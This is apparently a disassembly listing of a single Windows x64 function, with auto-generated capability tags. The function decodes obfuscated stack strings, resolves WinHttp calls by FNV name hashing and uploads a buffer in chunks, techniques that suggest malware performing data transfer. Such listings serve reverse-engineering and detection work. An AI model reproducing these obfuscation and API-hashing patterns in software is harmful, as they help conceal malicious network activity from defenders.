Function at 0x140003600
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140035010]
xor rax, rsp
mov qword [rbp + 0x200], rax
movdqa xmm1, xmmword [0x140031ee0]
xor esi, esi
mov edi, esi
mov dword [rsp + 0x40], 0x660048
mov eax, esi
mov dword [rsp + 0x44], 0x6d0068
mov r14d, r9d
mov dword [rsp + 0x48], 0x32006a
mov r12, r8
mov dword [rsp + 0x4c], 0x740048
mov r15, rdx
mov dword [rsp + 0x50], 0x790073
mov dword [rsp + 0x54], 0x740077
mov dword [rsp + 0x58], 0x3f0071
mov dword [rsp + 0x5c], 0x730025
mov dword [rsp + 0x60], 0x320074
mov dword [rsp + 0x64], 0x660068
mov dword [rsp + 0x68], 0x6d0068
mov dword [rsp + 0x6c], 0x6a
nop word [rax + rax]
movdqu xmm0, xmmword [rsp + rax*2 + 0x40]
psubw xmm0, xmm1
movdqu xmmword [rsp + rax*2 + 0x40], xmm0
add rax, 8
cmp rax, 0x10
jb 0x1400036b0
cmp rax, 0x17
jae 0x1400036ee
mov ecx, 0xfffb
nop word [rax + rax]
add word [rsp + rax*2 + 0x40], cx
inc rax
cmp rax, 0x17
jb 0x1400036e0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x10]
call fcn.140004080
mov ecx, esi
lea rbx, str.WinHttpAddRequestHeaders
mov al, 0x57
cmp al, 0x7e
ja 0x140003715
inc ecx
movzx eax, byte [rcx + rbx]
cmp al, 0x20
jge 0x140003707
movabs r8, 0xcbf29ce484222325
movabs r13, 0x100000001b3
test ecx, ecx
je 0x140003767
mov r9, rbx
mov r10d, ecx
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
lea r9, [r9 + 1]
mov edx, ecx
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
cdqe
xor r8, rax
imul r8, r13
sub r10, 1
jne 0x140003740
mov rcx, r8
call fcn.140002230
mov rsi, 0xffffffffffffffff
lea rcx, [rbp - 0x10]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rcx + r8*2], di
jne 0x140003780
mov r9d, 0xa0000000
lea rdx, [rbp - 0x10]
mov rcx, r15
call rax
test eax, eax
je 0x140003c3b
xor eax, eax
mov dword [rsp + 0x40], 0x19c51984
mov word [rsp + 0x58], ax
xor edx, edx
mov ecx, 0x1984
mov dword [rsp + 0x44], 0x19e519e6
mov dword [rsp + 0x48], 0x19f819e2
mov dword [rsp + 0x4c], 0x19b019fd
mov dword [rsp + 0x50], 0x19a619ab
mov dword [rsp + 0x54], 0x19a419a2
nop
add cx, ax
xor word [rsp + rax*2 + 0x42], cx
inc rax
cmp rax, 0xb
jae 0x1400037f8
movzx ecx, word [rsp + 0x40]
jmp 0x1400037e0
mov word [rsp + 0x58], dx
lea rcx, [rbp - 0x10]
lea rdx, [rsp + 0x42]
call fcn.140004080
xor ecx, ecx
mov al, 0x57
nop
cmp al, 0x7e
ja 0x14000381e
inc ecx
movzx eax, byte [rcx + rbx]
cmp al, 0x20
jge 0x140003810
movabs r8, 0xcbf29ce484222325
test ecx, ecx
je 0x140003867
mov r9, rbx
mov r10d, ecx
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
lea r9, [r9 + 1]
mov edx, ecx
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
cdqe
xor r8, rax
imul r8, r13
sub r10, 1
jne 0x140003840
mov rcx, r8
call fcn.140002230
lea rcx, [rbp - 0x10]
inc rsi
cmp word [rcx + rsi*2], di
jne 0x140003873
mov r8, rsi
lea rdx, [rbp - 0x10]
mov r9d, 0xa0000000
mov rcx, r15
call rax
test eax, eax
je 0x140003c3b
xor eax, eax
mov dword [rsp + 0x70], 0x525f521c
mov word [rbp - 0x30], ax
xor r13d, r13d
mov ecx, 0x521c
mov dword [rsp + 0x74], 0x52725273
mov dword [rsp + 0x78], 0x52795268
mov dword [rsp + 0x7c], 0x52685272
mov dword [rbp - 0x80], 0x52485231
mov dword [rbp - 0x7c], 0x526c5265
mov dword [rbp - 0x78], 0x52265279
mov dword [rbp - 0x74], 0x527d523c
mov dword [rbp - 0x70], 0x526c526c
mov dword [rbp - 0x6c], 0x52755270
mov dword [rbp - 0x68], 0x527d527f
mov dword [rbp - 0x64], 0x52755268
mov dword [rbp - 0x60], 0x52725273
mov dword [rbp - 0x5c], 0x52645233
mov dword [rbp - 0x58], 0x526b5231
mov dword [rbp - 0x54], 0x526b526b
mov dword [rbp - 0x50], 0x527a5231
mov dword [rbp - 0x4c], 0x526e5273
mov dword [rbp - 0x48], 0x52315271
mov dword [rbp - 0x44], 0x526e5269
mov dword [rbp - 0x40], 0x52795270
mov dword [rbp - 0x3c], 0x527f5272
mov dword [rbp - 0x38], 0x52785273
mov dword [rbp - 0x34], 0x52785279
xor word [rsp + rax*2 + 0x72], cx
inc rax
cmp rax, 0x2f
jae 0x140003965
movzx ecx, word [rsp + 0x70]
jmp 0x140003950
lea rdx, [rsp + 0x72]
mov word [rbp - 0x30], r13w
lea rcx, [rbp - 0x10]
call fcn.140004080
mov ecx, r13d
mov al, 0x57
nop dword [rax]
cmp al, 0x7e
ja 0x14000398e
inc ecx
movzx eax, byte [rcx + rbx]
cmp al, 0x20
jge 0x140003980
movabs r8, 0xcbf29ce484222325
movabs rsi, 0x100000001b3
test ecx, ecx
je 0x1400039d7
mov r9, rbx
mov r10d, ecx
nop dword [rax]
movsx ecx, byte [r9]
lea r9, [r9 + 1]
mov edx, ecx
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
cdqe
xor r8, rax
imul r8, rsi
sub r10, 1
jne 0x1400039b0
mov rcx, r8
call fcn.140002230
mov r9d, 0xa0000000
lea rdx, [rbp - 0x10]
mov r8d, 0xffffffff
mov rcx, r15
call rax
test eax, eax
je 0x140003c3b
mov edx, 0xb566
mov dword [rsp + 0x40], 0xb525b566
mov dword [rsp + 0x44], 0xb506b508
mov rcx, r13
mov dword [rsp + 0x48], 0xb50fb51d
mov dword [rsp + 0x4c], 0xb518b505
mov dword [rsp + 0x50], 0xb522b540
mov dword [rsp + 0x54], 0xb51eb50a
mov dword [rsp + 0x58], 0xb506b516
mov dword [rsp + 0x5c], 0xb54eb51b
mov dword [rsp + 0x60], 0xb555
nop dword [rax]
lea eax, [rdx + rcx]
xor word [rsp + rcx*2 + 0x42], ax
inc rcx
cmp rcx, 0x10
jae 0x140003a68
movzx edx, word [rsp + 0x40]
jmp 0x140003a50
mov r9d, r14d
mov word [rsp + 0x62], r13w
lea r8, [rsp + 0x42]
lea rdx, str._s__d
lea rcx, [rbp - 0x10]
call fcn.140004080
mov ecx, r13d
mov al, 0x57
nop dword [rax + rax]
cmp al, 0x7e
ja 0x140003a9e
inc ecx
movzx eax, byte [rcx + rbx]
cmp al, 0x20
jge 0x140003a90
movabs r8, 0xcbf29ce484222325
test ecx, ecx
je 0x140003ad6
mov r10d, ecx
nop
movsx ecx, byte [rbx]
lea rbx, [rbx + 1]
mov edx, ecx
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
cdqe
xor r8, rax
imul r8, rsi
sub r10, 1
jne 0x140003ab0
mov rcx, r8
call fcn.140002230
mov r9d, 0xa0000000
lea rdx, [rbp - 0x10]
mov r8d, 0xffffffff
mov rcx, r15
call rax
test eax, eax
je 0x140003c3b
mov ecx, r13d
lea r9, str.WinHttpSendRequest
mov al, 0x57
cmp al, 0x7e
ja 0x140003b16
inc ecx
movzx eax, byte [rcx + r9]
cmp al, 0x20
jge 0x140003b07
movabs r8, 0xcbf29ce484222325
test ecx, ecx
je 0x140003b57
mov r10d, ecx
nop word [rax + rax]
movsx ecx, byte [r9]
lea r9, [r9 + 1]
mov edx, ecx
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
cdqe
xor r8, rax
imul r8, rsi
sub r10, 1
jne 0x140003b30
mov rcx, r8
call fcn.140002230
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], r14d
xor edx, edx
mov r8d, 0xffffffff
mov dword [rsp + 0x20], r13d
mov rcx, r15
call rax
test eax, eax
je 0x140003c35
test r14d, r14d
je 0x140003c31
lea rbx, str.WinHttpWriteData
nop word [rax + rax]
mov eax, 0x80000
mov ecx, r14d
sub ecx, edi
mov edx, r13d
cmp ecx, eax
cmovb eax, ecx
mov dword [rbp - 0x20], eax
mov al, 0x57
cmp al, 0x7e
ja 0x140003bc5
inc edx
movzx eax, byte [rdx + rbx]
cmp al, 0x20
jge 0x140003bb7
movabs rcx, 0xcbf29ce484222325
test edx, edx
je 0x140003c0a
mov r9, rbx
mov r10d, edx
nop dword [rax]
movsx edx, byte [r9]
lea r9, [r9 + 1]
mov r8d, edx
sub dl, 0x41
mov eax, r8d
or eax, 0x20
cmp dl, 0x19
cmova eax, r8d
cdqe
xor rcx, rax
imul rcx, rsi
sub r10, 1
jne 0x140003be0
call fcn.140002230
mov r8d, dword [rbp - 0x20]
lea r9, [rbp - 0x20]
mov edx, edi
mov rcx, r15
add rdx, r12
call rax
test eax, eax
je 0x140003c35
add edi, dword [rbp - 0x20]
cmp edi, r14d
jb 0x140003ba0
mov al, 1
jmp 0x140003c3d
call qword [sym.imp.KERNEL32.DLL_GetLastError]
xor al, al
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.14000adb0
mov rbx, qword [rsp + 0x350]
add rsp, 0x310
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret